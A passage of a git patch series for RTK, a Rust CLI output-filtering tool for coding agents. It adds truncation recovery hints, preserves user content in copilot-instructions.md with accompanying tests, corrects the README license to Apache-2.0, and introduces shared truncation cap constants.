hint)); + } } result.trim().to_string() diff --git a/src/core/utils.rs b/src/core/utils.rs index a73eba9bcf..a3bc84fe00 100644 --- a/src/core/utils.rs +++ b/src/core/utils.rs @@ -147,7 +147,7 @@ pub fn format_cpt(cpt: f64) -> String { pub fn join_with_overflow(items: &[String], total: usize, max: usize, label: &str) -> String { let mut out = items.join("\n"); if total > max { - out.push_str(&format!("\n... +{} more {}", total - max, label)); + out.push_str(&format!("\n… +{} more {}", total - max, label)); } out } From 49606303d6738525c250149230752fb6133383d1 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sun, 17 May 2026 12:48:17 +0200 Subject: [PATCH 127/204] fix(rust): multi-line blocks used with tail hint --- src/cmds/rust/cargo_cmd.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index f1e75f1729..eee916d2a5 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -1047,9 +1047,9 @@ pub(crate) fn filter_cargo_test(output: &str) -> String { } if failures.len() > MAX_FAILURES { result.push_str(&format!("\n… +{} more failures\n", failures.len() - MAX_FAILURES)); - let all_failures = failures.join("\n"); + let all_failures = failures.join("\n\n"); if let Some(hint) = - crate::core::tee::force_tee_tail_hint(&all_failures, "cargo-test-failures", MAX_FAILURES + 1) + crate::core::tee::force_tee_hint(&all_failures, "cargo-test-failures") { result.push_str(&format!(" {}\n", hint)); } From 4acdcf29f73400c67045a7e7c615a40c4193b69b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sun, 17 May 2026 14:18:06 +0200 Subject: [PATCH 128/204] docs(cmds): truncations hints and recovery guidelines --- CONTRIBUTING.md | 3 ++- src/cmds/README.md | 16 ++++++++++++++++ 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 6cd87369b3..19c0c79aa5 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -50,7 +50,7 @@ Don't invent new output formats. Don't add RTK-specific headers or markers in th If a filter fails, fall back to raw output. RTK should never prevent a command from executing or producing output. Better to pass through unfiltered than to error out. Same for hooks: exit 0 on all error paths so the agent's command runs unmodified. -Every filter needs a fallback path. Every hook must handle malformed input gracefully. +Every filter needs a fallback path. Every hook must handle malformed input gracefully. Truncation follows the same rule: capping output at N items is only acceptable if accompanied by a hint that lets the agent recover the hidden data. ### Zero Overhead @@ -262,6 +262,7 @@ cargo fmt --all --check && cargo clippy --all-targets && cargo test - [ ] Unit tests added/updated for changed code - [ ] Snapshot tests reviewed (`cargo insta review`) - [ ] Token savings >=60% verified +- [ ] Any truncated list has a recovery hint (`force_tee_tail_hint` or `force_tee_hint`) - [ ] Edge cases covered - [ ] `cargo fmt --all --check && cargo clippy --all-targets && cargo test` passes - [ ] Manual test: run `rtk ` and inspect output diff --git a/src/cmds/README.md b/src/cmds/README.md index 010e9495a0..c26da7da93 100644 --- a/src/cmds/README.md +++ b/src/cmds/README.md @@ -252,6 +252,21 @@ When filtering fails, fall back to raw output and warn on stderr. Never block th Modules that parse structured output (JSON, NDJSON, state machines) must call `tee::tee_and_hint()` so users can recover full output on failure. +### Internal Truncation Recovery + +When a filter caps a list at N items (e.g. `take(20)`), the remaining items must be accessible via a tee hint. **Never show `"… +N more"` without a recovery path** — the agent has no way to retrieve the hidden content. + +**Choosing the right hint:** + +| Content type | Function | Condition | +|---|---|---| +| Flat list — one item = one line in the tee | `force_tee_tail_hint(content, slug, MAX + 1)` | PR lists, error lines, file paths — anything where each item is a single-line string | +| Multi-line blocks | `force_tee_hint(content, slug)` | Test failures, build error blocks — items that span multiple lines so a line offset is meaningless | + +**Always use a named constant for the cap.** Express the cap as `const MAX_XXX: usize = N;` local to the function, then derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from it. A bare literal like `21` silently breaks if someone changes `take(20)`. + +**The tee content must match what `tail` produces.** For `force_tee_tail_hint`, build the tee from the same formatted values shown in the output — not raw/intermediate data. If the filter reformats items before displaying them, pre-build a `Vec` of formatted lines and use it for both the display loop and the tee. + ### Stderr Handling Modules must capture stderr and include it in the raw string passed to `timer.track()`, so token savings reflect total output. @@ -278,6 +293,7 @@ Adding a new filter or command requires changes in multiple places. For TOML-vs- - Use `RunOptions::default()` when filtering combined text output - Add `.tee("label")` when the filter parses structured output (enables raw output recovery on failure) - **Exit codes**: handled automatically by `run_filtered()` — just return its result + - **Truncation**: if the filter caps any list at N items, emit `force_tee_tail_hint` (flat lists) or `force_tee_hint` (multi-line blocks) so the agent can recover hidden items — see [Internal Truncation Recovery](#internal-truncation-recovery). Use a named constant for the cap; derive the offset from it (`MAX_XXX + 1`) 2. **Register module**: - Ecosystem `mod.rs` files use `automod::dir!()` — any `.rs` file in the directory becomes a public module automatically. No manual `pub mod` needed, but be aware: WIP or helper files will also be exposed. Only commit command-ready modules. - Add variant to `Commands` enum in `main.rs` with `#[arg(trailing_var_arg = true, allow_hyphen_values = true)]` From 224142867367adf00f7397615b73e3080dfc88b9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Wed, 20 May 2026 12:13:45 +0800 Subject: [PATCH 129/204] test(hooks/init): add red test for copilot-instructions preservation Adds a TDD red test that asserts pre-existing user content in .github/copilot-instructions.md must survive 'rtk init --copilot'. Currently fails because run_copilot() uses write_if_changed() which truncates the file. Refs #1964 --- src/hooks/init.rs | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 21da7c7485..bfd3fabd10 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -5634,4 +5634,44 @@ mod tests { "RTK end marker must be removed" ); } + + #[test] + fn test_copilot_init_preserves_existing_instructions() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + let user_content = "# My Copilot Instructions\n\n\ + Always respond in Spanish.\n\ + Never suggest npm; prefer pnpm.\n"; + fs::write(&instructions_path, user_content).unwrap(); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + let result = run_copilot(InitContext::default()); + env::set_current_dir(&original_cwd).unwrap(); + result.unwrap(); + + let final_content = fs::read_to_string(&instructions_path).unwrap(); + + assert!( + final_content.contains("Always respond in Spanish."), + "User custom rule was destroyed. Got: {final_content}" + ); + assert!( + final_content.contains("Never suggest npm; prefer pnpm."), + "User custom rule was destroyed. Got: {final_content}" + ); + assert!( + final_content.contains(RTK_BLOCK_START), + "RTK block start marker missing" + ); + assert!( + final_content.contains(RTK_BLOCK_END), + "RTK block end marker missing" + ); + } } From d10816516b4c199b06af18278ab53c76d26c2d87 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Wed, 20 May 2026 12:15:05 +0800 Subject: [PATCH 130/204] fix(hooks/init): preserve user content in copilot-instructions.md run_copilot() previously called write_if_changed() which truncated any pre-existing .github/copilot-instructions.md, destroying user-authored Copilot rules. This routes copilot-instructions.md through upsert_rtk_block() (the same idempotent marker-block helper already used for CLAUDE.md and AGENTS.md). The COPILOT_INSTRUCTIONS constant is wrapped in ... markers so subsequent inits replace only RTK-owned content; the rest of the file is preserved verbatim. Malformed pre-existing blocks (opening marker without closing) are refused with a remediation message rather than silently rewritten. Fixes #1964, #1891 --- src/hooks/init.rs | 86 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 78 insertions(+), 8 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index bfd3fabd10..1f95c80b6b 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3682,7 +3682,8 @@ const COPILOT_HOOK_JSON: &str = r#"{ } "#; -const COPILOT_INSTRUCTIONS: &str = r#"# RTK — Token-Optimized CLI +const COPILOT_INSTRUCTIONS: &str = r#" +# RTK — Token-Optimized CLI **rtk** is a CLI proxy that filters and compresses command outputs, saving 60-90% tokens. @@ -3707,8 +3708,82 @@ rtk gain --history # Per-command savings history rtk discover # Find missed rtk opportunities rtk proxy # Run raw (no filtering) but track usage ``` + "#; +/// Upsert the RTK marker block in `copilot-instructions.md`. +/// +/// Preserves user content outside the ` ... +/// ` markers; only RTK-owned content between the +/// markers is added/updated/left untouched depending on prior state. +/// Refuses to modify malformed files (opening marker without closing). +fn upsert_copilot_instructions(path: &Path, ctx: InitContext) -> Result<()> { + let InitContext { verbose, dry_run } = ctx; + + let existing = if path.exists() { + fs::read_to_string(path) + .with_context(|| format!("Failed to read {}", path.display()))? + } else { + String::new() + }; + + let (new_content, action) = upsert_rtk_block(&existing, COPILOT_INSTRUCTIONS); + + match action { + RtkBlockUpsert::Added => { + if dry_run { + println!( + "[dry-run] would add Copilot instructions to {}", + path.display() + ); + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write {}", path.display()))?; + if verbose > 0 { + eprintln!("Added Copilot instructions to {}", path.display()); + } + } + } + RtkBlockUpsert::Updated => { + if dry_run { + println!( + "[dry-run] would update Copilot instructions in {}", + path.display() + ); + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write {}", path.display()))?; + if verbose > 0 { + eprintln!("Updated Copilot instructions in {}", path.display()); + } + } + } + RtkBlockUpsert::Unchanged => { + if verbose > 0 { + eprintln!( + "Copilot instructions already up to date: {}", + path.display() + ); + } + } + RtkBlockUpsert::Malformed => { + eprintln!( + "[warn] Found '{}' without closing marker in {}", + RTK_BLOCK_START, + path.display() + ); + eprintln!(" Action: Manually remove the incomplete block, then re-run:"); + eprintln!(" rtk init --copilot"); + anyhow::bail!( + "Refusing to modify malformed copilot-instructions.md at {}", + path.display() + ); + } + } + + Ok(()) +} + /// Entry point for `rtk init --copilot` pub fn run_copilot(ctx: InitContext) -> Result<()> { let InitContext { dry_run, .. } = ctx; @@ -3724,14 +3799,9 @@ pub fn run_copilot(ctx: InitContext) -> Result<()> { let hook_path = hooks_dir.join("rtk-rewrite.json"); write_if_changed(&hook_path, COPILOT_HOOK_JSON, "Copilot hook config", ctx)?; - // 2. Write instructions + // 2. Upsert RTK marker block in copilot-instructions.md (preserves user content) let instructions_path = github_dir.join("copilot-instructions.md"); - write_if_changed( - &instructions_path, - COPILOT_INSTRUCTIONS, - "Copilot instructions", - ctx, - )?; + upsert_copilot_instructions(&instructions_path, ctx)?; if dry_run { print_dry_run_footer(); From 544a5f446bac2b81311ad3e28940d291ef7c7ce0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Wed, 20 May 2026 12:15:51 +0800 Subject: [PATCH 131/204] test(hooks/init): cover idempotency, stale-block, dry-run, fresh, malformed paths Adds five additional tests around copilot-instructions.md upsert: - idempotent re-init (no duplicated blocks, identical content) - stale RTK block in-place update with surrounding user content preserved - dry-run never creates or modifies the file - fresh install creates file with RTK marker block when no file exists - malformed pre-existing block (opening marker without closing) is refused with a clear error rather than silently rewritten Refs #1964 --- src/hooks/init.rs | 148 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 148 insertions(+) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 1f95c80b6b..8c1b128628 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -5744,4 +5744,152 @@ mod tests { "RTK block end marker missing" ); } + + #[test] + fn test_copilot_init_idempotent_repeats() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + run_copilot(InitContext::default()).unwrap(); + let after_first = fs::read_to_string(github_dir.join("copilot-instructions.md")).unwrap(); + + run_copilot(InitContext::default()).unwrap(); + let after_second = fs::read_to_string(github_dir.join("copilot-instructions.md")).unwrap(); + env::set_current_dir(&original_cwd).unwrap(); + + assert_eq!( + after_first, after_second, + "Second init must be a no-op (idempotent)" + ); + + let count_start = after_first.matches(RTK_BLOCK_START).count(); + let count_end = after_first.matches(RTK_BLOCK_END).count(); + assert_eq!( + count_start, 1, + "RTK_BLOCK_START must appear once, got {count_start}" + ); + assert_eq!( + count_end, 1, + "RTK_BLOCK_END must appear once, got {count_end}" + ); + } + + #[test] + fn test_copilot_init_updates_stale_block() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + let stale = format!( + "# Project rules\n\nUse rg.\n\n{}\n# OLD RTK CONTENT\nrtk foo\n{}\n", + RTK_BLOCK_START, RTK_BLOCK_END + ); + fs::write(&instructions_path, &stale).unwrap(); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + run_copilot(InitContext::default()).unwrap(); + env::set_current_dir(&original_cwd).unwrap(); + + let updated = fs::read_to_string(&instructions_path).unwrap(); + + assert!( + updated.contains("Use rg."), + "User content outside the block must be preserved" + ); + assert!( + !updated.contains("# OLD RTK CONTENT"), + "Stale RTK block content must be removed" + ); + assert!( + updated.contains("rtk cargo test"), + "Fresh COPILOT_INSTRUCTIONS content must be present" + ); + } + + #[test] + fn test_copilot_init_dry_run_no_write() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + assert!(!instructions_path.exists()); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + let ctx = InitContext { + dry_run: true, + ..InitContext::default() + }; + run_copilot(ctx).unwrap(); + env::set_current_dir(&original_cwd).unwrap(); + + assert!( + !instructions_path.exists(), + "Dry-run must not create copilot-instructions.md" + ); + } + + #[test] + fn test_copilot_init_fresh_install_creates_file() { + use std::env; + + let temp = TempDir::new().unwrap(); + let instructions_path = temp + .path() + .join(".github") + .join("copilot-instructions.md"); + assert!(!instructions_path.exists()); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + run_copilot(InitContext::default()).unwrap(); + env::set_current_dir(&original_cwd).unwrap(); + + assert!( + instructions_path.exists(), + "Fresh install must create copilot-instructions.md" + ); + let content = fs::read_to_string(&instructions_path).unwrap(); + assert!(content.contains(RTK_BLOCK_START)); + assert!(content.contains(RTK_BLOCK_END)); + assert!(content.contains("rtk cargo test")); + } + + #[test] + fn test_copilot_init_refuses_malformed_block() { + use std::env; + + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + + let instructions_path = github_dir.join("copilot-instructions.md"); + let malformed = format!("# My rules\n\n{}\nincomplete RTK block\n", RTK_BLOCK_START); + fs::write(&instructions_path, &malformed).unwrap(); + + let original_cwd = env::current_dir().unwrap(); + env::set_current_dir(temp.path()).unwrap(); + let result = run_copilot(InitContext::default()); + env::set_current_dir(&original_cwd).unwrap(); + + assert!( + result.is_err(), + "Malformed file must cause an error, not silent rewrite" + ); + + let after = fs::read_to_string(&instructions_path).unwrap(); + assert_eq!(after, malformed, "File must not be modified when malformed"); + } } From 194a1b42159fc6d17ba7768fa0361a54edb7b133 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E5=86=A0=E8=BE=B0?= Date: Wed, 20 May 2026 12:18:52 +0800 Subject: [PATCH 132/204] refactor(hooks/init): extract run_copilot_at for parallel-safe tests run_copilot(ctx) is now a thin wrapper around run_copilot_at(base, ctx); tests pass a TempDir path so they no longer mutate process-global cwd. This eliminates flakes when cargo test runs in parallel (the default). The public API is unchanged; only the internal seam moves. Refs #1964 --- src/hooks/init.rs | 76 +++++++++++++++-------------------------------- 1 file changed, 24 insertions(+), 52 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 8c1b128628..9371ea4e9d 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3721,8 +3721,7 @@ fn upsert_copilot_instructions(path: &Path, ctx: InitContext) -> Result<()> { let InitContext { verbose, dry_run } = ctx; let existing = if path.exists() { - fs::read_to_string(path) - .with_context(|| format!("Failed to read {}", path.display()))? + fs::read_to_string(path).with_context(|| format!("Failed to read {}", path.display()))? } else { String::new() }; @@ -3784,15 +3783,25 @@ fn upsert_copilot_instructions(path: &Path, ctx: InitContext) -> Result<()> { Ok(()) } -/// Entry point for `rtk init --copilot` +/// Entry point for `rtk init --copilot`. +/// +/// Installs in the current working directory's `.github/` subdirectory. pub fn run_copilot(ctx: InitContext) -> Result<()> { + run_copilot_at(Path::new("."), ctx) +} + +/// Same as [`run_copilot`] but operates relative to an explicit base path. +/// +/// Used by tests to avoid mutating process-global `cwd` (which is racy under +/// `cargo test`'s default parallel execution). +fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { let InitContext { dry_run, .. } = ctx; - // Install in current project's .github/ directory - let github_dir = Path::new(".github"); + let github_dir = base.join(".github"); let hooks_dir = github_dir.join("hooks"); if !dry_run { - fs::create_dir_all(&hooks_dir).context("Failed to create .github/hooks/ directory")?; + fs::create_dir_all(&hooks_dir) + .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; } // 1. Write hook config @@ -5707,8 +5716,6 @@ mod tests { #[test] fn test_copilot_init_preserves_existing_instructions() { - use std::env; - let temp = TempDir::new().unwrap(); let github_dir = temp.path().join(".github"); fs::create_dir_all(&github_dir).unwrap(); @@ -5719,11 +5726,7 @@ mod tests { Never suggest npm; prefer pnpm.\n"; fs::write(&instructions_path, user_content).unwrap(); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - let result = run_copilot(InitContext::default()); - env::set_current_dir(&original_cwd).unwrap(); - result.unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); let final_content = fs::read_to_string(&instructions_path).unwrap(); @@ -5747,20 +5750,15 @@ mod tests { #[test] fn test_copilot_init_idempotent_repeats() { - use std::env; - let temp = TempDir::new().unwrap(); let github_dir = temp.path().join(".github"); fs::create_dir_all(&github_dir).unwrap(); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - run_copilot(InitContext::default()).unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); let after_first = fs::read_to_string(github_dir.join("copilot-instructions.md")).unwrap(); - run_copilot(InitContext::default()).unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); let after_second = fs::read_to_string(github_dir.join("copilot-instructions.md")).unwrap(); - env::set_current_dir(&original_cwd).unwrap(); assert_eq!( after_first, after_second, @@ -5781,8 +5779,6 @@ mod tests { #[test] fn test_copilot_init_updates_stale_block() { - use std::env; - let temp = TempDir::new().unwrap(); let github_dir = temp.path().join(".github"); fs::create_dir_all(&github_dir).unwrap(); @@ -5794,10 +5790,7 @@ mod tests { ); fs::write(&instructions_path, &stale).unwrap(); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - run_copilot(InitContext::default()).unwrap(); - env::set_current_dir(&original_cwd).unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); let updated = fs::read_to_string(&instructions_path).unwrap(); @@ -5817,23 +5810,15 @@ mod tests { #[test] fn test_copilot_init_dry_run_no_write() { - use std::env; - let temp = TempDir::new().unwrap(); - let github_dir = temp.path().join(".github"); - fs::create_dir_all(&github_dir).unwrap(); - - let instructions_path = github_dir.join("copilot-instructions.md"); + let instructions_path = temp.path().join(".github").join("copilot-instructions.md"); assert!(!instructions_path.exists()); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); let ctx = InitContext { dry_run: true, ..InitContext::default() }; - run_copilot(ctx).unwrap(); - env::set_current_dir(&original_cwd).unwrap(); + run_copilot_at(temp.path(), ctx).unwrap(); assert!( !instructions_path.exists(), @@ -5843,19 +5828,11 @@ mod tests { #[test] fn test_copilot_init_fresh_install_creates_file() { - use std::env; - let temp = TempDir::new().unwrap(); - let instructions_path = temp - .path() - .join(".github") - .join("copilot-instructions.md"); + let instructions_path = temp.path().join(".github").join("copilot-instructions.md"); assert!(!instructions_path.exists()); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - run_copilot(InitContext::default()).unwrap(); - env::set_current_dir(&original_cwd).unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); assert!( instructions_path.exists(), @@ -5869,8 +5846,6 @@ mod tests { #[test] fn test_copilot_init_refuses_malformed_block() { - use std::env; - let temp = TempDir::new().unwrap(); let github_dir = temp.path().join(".github"); fs::create_dir_all(&github_dir).unwrap(); @@ -5879,10 +5854,7 @@ mod tests { let malformed = format!("# My rules\n\n{}\nincomplete RTK block\n", RTK_BLOCK_START); fs::write(&instructions_path, &malformed).unwrap(); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - let result = run_copilot(InitContext::default()); - env::set_current_dir(&original_cwd).unwrap(); + let result = run_copilot_at(temp.path(), InitContext::default()); assert!( result.is_err(), From f2864eb8a9df7264a7c85eec4e4c637082c7723a Mon Sep 17 00:00:00 2001 From: Tylere Zimmerman Date: Wed, 20 May 2026 08:34:17 -0500 Subject: [PATCH 133/204] docs(readme): fix license references to match LICENSE (Apache-2.0) The README badge and footer claimed MIT, but the LICENSE file is Apache License 2.0. Updates both references so the README matches the authoritative LICENSE file. Closes #1996 Co-Authored-By: Claude --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index a0db81d25c..f8d65efe52 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -483,7 +483,7 @@ Join the community on [Discord](https://discord.gg/RySmvNF5kF). ## License -MIT License - see [LICENSE](LICENSE) for details. +Apache License 2.0 - see [LICENSE](LICENSE) for details. ## Disclaimer From b6054a5fefda513515c9d0a744ae1f34c5d6f336 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 20 May 2026 17:29:14 +0200 Subject: [PATCH 134/204] refacto(truncations): Set global CAPS for truncation Following tee and hint refacto Add global CAP constant to be inherited , to enable easier global configuration later --- CONTRIBUTING.md | 2 +- src/cmds/README.md | 2 +- src/cmds/cloud/aws_cmd.rs | 5 ++-- src/cmds/cloud/container.rs | 17 ++++++-------- src/cmds/cloud/psql_cmd.rs | 11 +++++---- src/cmds/dotnet/dotnet_cmd.rs | 24 ++++++++++--------- src/cmds/git/gh_cmd.rs | 5 ++-- src/cmds/git/git.rs | 11 ++++++--- src/cmds/git/glab_cmd.rs | 7 +++--- src/cmds/git/gt_cmd.rs | 4 +++- src/cmds/go/go_cmd.rs | 5 ++-- src/cmds/go/golangci_cmd.rs | 11 ++++++--- src/cmds/js/lint_cmd.rs | 7 +++--- src/cmds/js/next_cmd.rs | 11 ++++++--- src/cmds/js/pnpm_cmd.rs | 6 ++--- src/cmds/js/prettier_cmd.rs | 8 ++++--- src/cmds/jvm/gradlew_cmd.rs | 11 ++++++--- src/cmds/python/pip_cmd.rs | 13 +++++++---- src/cmds/python/pytest_cmd.rs | 13 +++++++---- src/cmds/python/ruff_cmd.rs | 25 ++++++++++++++------ src/cmds/ruby/rake_cmd.rs | 14 ++++++++---- src/cmds/ruby/rspec_cmd.rs | 26 ++++++++++++++------- src/cmds/rust/cargo_cmd.rs | 35 +++++++++++++++++++--------- src/cmds/rust/runner.rs | 22 +++++++++++++----- src/cmds/system/deps.rs | 43 +++++++++++++++++++---------------- src/cmds/system/env_cmd.rs | 15 +++++++----- src/cmds/system/format_cmd.rs | 8 ++++--- src/cmds/system/log_cmd.rs | 16 ++++++++----- src/cmds/system/ls.rs | 9 +++++--- src/cmds/system/pipe_cmd.rs | 23 +++++++++++-------- src/cmds/system/summary.rs | 16 ++++++++----- src/core/README.md | 4 ++++ src/core/mod.rs | 1 + src/core/truncate.rs | 4 ++++ src/parser/formatter.rs | 12 +++++++--- 35 files changed, 287 insertions(+), 159 deletions(-) create mode 100644 src/core/truncate.rs diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 19c0c79aa5..dec1a0527e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -262,7 +262,7 @@ cargo fmt --all --check && cargo clippy --all-targets && cargo test - [ ] Unit tests added/updated for changed code - [ ] Snapshot tests reviewed (`cargo insta review`) - [ ] Token savings >=60% verified -- [ ] Any truncated list has a recovery hint (`force_tee_tail_hint` or `force_tee_hint`) +- [ ] Any truncated list has a recovery hint (`force_tee_tail_hint` or `force_tee_hint`) and uses a `CAP_*` from `src/core/truncate.rs` - [ ] Edge cases covered - [ ] `cargo fmt --all --check && cargo clippy --all-targets && cargo test` passes - [ ] Manual test: run `rtk ` and inspect output diff --git a/src/cmds/README.md b/src/cmds/README.md index c26da7da93..d077885678 100644 --- a/src/cmds/README.md +++ b/src/cmds/README.md @@ -263,7 +263,7 @@ When a filter caps a list at N items (e.g. `take(20)`), the remaining items must | Flat list — one item = one line in the tee | `force_tee_tail_hint(content, slug, MAX + 1)` | PR lists, error lines, file paths — anything where each item is a single-line string | | Multi-line blocks | `force_tee_hint(content, slug)` | Test failures, build error blocks — items that span multiple lines so a line offset is meaningless | -**Always use a named constant for the cap.** Express the cap as `const MAX_XXX: usize = N;` local to the function, then derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from it. A bare literal like `21` silently breaks if someone changes `take(20)`. +**Cap values come from `src/core/truncate.rs`.** Pick the `CAP_*` matching your data class (`CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY`) and bind it to a local `const MAX_XXX: usize = CAP_Y;`. Derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from the local. These CAPs will later become the configuration surface for per-filter cap tuning (user-overridable via config) — keep all truncation values routed through them so that hook lands as a single switch rather than a codebase-wide hunt. A filter that genuinely needs to deviate uses a **small additive offset** from a CAP (`CAP_WARNINGS - 5`, `CAP_LIST + 5`) so it still tracks the global when reconfigured — never a bare literal, and never `*`/`/` (those scale unboundedly). Each deviation needs a one-line comment stating why; if there's no real reason, just use the plain CAP. **The tee content must match what `tail` produces.** For `force_tee_tail_hint`, build the tee from the same formatted values shown in the output — not raw/intermediate data. If the filter reformats items before displaying them, pre-build a `Vec` of formatted lines and use it for both the display loop and the tee. diff --git a/src/cmds/cloud/aws_cmd.rs b/src/cmds/cloud/aws_cmd.rs index aa53fc3a0d..64c18cf7c2 100644 --- a/src/cmds/cloud/aws_cmd.rs +++ b/src/cmds/cloud/aws_cmd.rs @@ -5,6 +5,7 @@ use crate::core::tee::force_tee_hint; use crate::core::tracking; +use crate::core::truncate::{CAP_INVENTORY, CAP_LIST}; use crate::core::utils::{ exit_code_from_output, exit_code_from_status, human_bytes, join_with_overflow, resolved_command, shorten_arn, truncate_iso_date, @@ -15,7 +16,7 @@ use lazy_static::lazy_static; use regex::Regex; use serde_json::Value; -const MAX_ITEMS: usize = 20; +const MAX_ITEMS: usize = CAP_LIST; const JSON_COMPRESS_DEPTH: usize = 4; /// Result of a filter function: filtered text + whether items were truncated. @@ -700,7 +701,7 @@ fn filter_cfn_describe_stacks(json_str: &str) -> Option { // --- P0 filters: CloudWatch Logs, CloudFormation Events, Lambda --- -const MAX_LOG_EVENTS: usize = 50; +const MAX_LOG_EVENTS: usize = CAP_INVENTORY; /// Convert days since Unix epoch to (year, month, day). Civil calendar, UTC. fn days_to_ymd(days: i64) -> (i64, i64, i64) { diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 09ef999fb8..495e3ac8d8 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -3,6 +3,7 @@ use crate::core::runner::{self, RunOptions}; use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::{CAP_INVENTORY, CAP_LIST, CAP_WARNINGS}; use crate::core::utils::resolved_command; use anyhow::{Context, Result}; use serde_json::Value; @@ -112,7 +113,7 @@ fn docker_ps(_verbose: u8) -> Result { } } - const MAX_CONTAINERS: usize = 20; + const MAX_CONTAINERS: usize = CAP_LIST; // Pre-build compressed lines once; assemble full (for tee) and capped (for display) from them. let running_lines: Vec = running.iter().filter_map(|p| format_line(p, true)).collect(); @@ -218,12 +219,8 @@ fn docker_images(_verbose: u8) -> Result { total_display )); - // Show images with their full `repository:tag` name — truncating the - // registry/user prefix to "..." breaks exact-match lookups against - // deployment manifests and CI configs. The list is generously capped (a - // higher bound than before, and only the count, never the names, is - // abbreviated) so token savings still hold on machines with many images. - const MAX_IMAGES: usize = 60; + // a full image list is an inventory query, like pip list. + const MAX_IMAGES: usize = CAP_INVENTORY; let image_lines: Vec = lines .iter() .map(|line| { @@ -348,7 +345,7 @@ fn format_kubectl_pods(json: &Value) -> String { let mut out = format!("{} pods: {}\n", pods.len(), parts.join(", ")); if !issues.is_empty() { - const MAX_PODS_ISSUES: usize = 10; + const MAX_PODS_ISSUES: usize = CAP_WARNINGS; out.push_str("[warn] Issues:\n"); for issue in issues.iter().take(MAX_PODS_ISSUES) { out.push_str(&format!(" {}\n", issue)); @@ -410,7 +407,7 @@ fn format_kubectl_services(json: &Value) -> String { }) .collect(); - const MAX_KUBECTL_SERVICES: usize = 15; + const 